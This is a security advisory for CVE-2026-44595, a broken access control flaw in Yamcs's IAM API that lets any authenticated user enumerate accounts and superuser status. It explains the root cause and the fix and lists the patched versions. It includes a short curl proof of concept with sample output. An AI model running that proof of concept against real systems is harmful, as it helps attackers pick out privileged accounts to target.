CVE-2026-44595: Yamcs: Unauthorized user enumeration via IAM API endpoints
Summary
The IAM API endpoints (listUsers, getUser, listGroups, and getGroup) in yamcs-core do not enforce the required SystemPrivilege.ControlAccess check. As a result, any authenticated user (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships.
This constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information.
Root Cause
File: yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372
listUsers(), getUser(), listGroups(), and getGroup() do not require SystemPrivilege.ControlAccess. Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships:
java // listUsers — NO checkSystemPrivilege public void listUsers(Context ctx, Empty request, ...) { var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess); // sensitiveDetails=false for low-priv users, but name/superuser/active still exposed for (User user : users) { UserInfo userb = toUserInfo(user, sensitiveDetails, directory); responseb.addUsers(userb); } }
Compare with properly protected endpoints:
java // createUser — correctly protected public void createUser(Context ctx, ...) { ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present
Impact
Any authenticated user can:
1. List all user accounts in the system 2. Identify which accounts have superuser privileges 3. Use this information to target privileged accounts
Proof of Concept
bash Authenticate as any low-privilege user GET accesstoken curl -s -X POST "http://localhost:8090/auth/token" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "granttype=password&username=lowpriv&password=lowpriv123"
Enumerate all users — no ControlAccess required curl -s "http://TARGET:8090/api/users" \ -H "Authorization: Bearer $TOKEN" #paste accesstoken
Output (confirmed):
json { "users": [ { "name": "admin", "superuser": true, "active": true }, { "name": "operator", "superuser": true, "active": true }, { "name": "lowpriv", "superuser": false, "active": true } ] }
Fix
Add ControlAccess check to listUsers, getUser, listGroups, getGroup:
java public void listUsers(Context ctx, Empty request, ...) { ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS ... }
Other sources
Yamcs is a mission control framework. Prior to 5.12.7, the IAM API endpoints listUsers, getUser, listGroups, and getGroup in yamcs-core did not enforce the required SystemPrivilege.ControlAccess check in yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java, so any authenticated user, even one with low or no privileges, could enumerate all user accounts in the system including their usernames, superuser status, and group memberships. This issue is fixed in versions 5.12.7 and 5.13.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
maven/org.yamcs:yamcs-coreto a version that resolves this vulnerability.Fixed in 5.12.7 - Upgrade
Upgrade
yamcs-coreto a version that resolves this vulnerability.Fixed in 5.12.7 - Upgrade
Upgrade
yamcs-coreto a version that resolves this vulnerability.Fixed in 5.13.0 - Configuration
Add/ensure `ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess);` is enforced in `listUsers`, `getUser`, `listGroups`, and `getGroup` so these endpoints require `SystemPrivilege.ControlAccess` before returning user/group data.
Yamcs IAM API (yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java) SystemPrivilege.ControlAccess check enforcement = required
Event History
Frequently Asked Questions
What is the severity of CVE-2026-44595?
CVE-2026-44595 has a medium severity rating of 4.3.
How do I fix CVE-2026-44595?
To fix CVE-2026-44595, ensure that the IAM API endpoints enforce the `SystemPrivilege.ControlAccess` check.
What are the affected components in CVE-2026-44595?
CVE-2026-44595 affects the IAM API endpoints `listUsers`, `getUser`, `listGroups`, and `getGroup` in `yamcs-core`.
What impact does CVE-2026-44595 have on user accounts?
CVE-2026-44595 allows any authenticated user to enumerate all user accounts in the system.
Who can exploit CVE-2026-44595?
Any authenticated user, regardless of their privileges, can exploit CVE-2026-44595.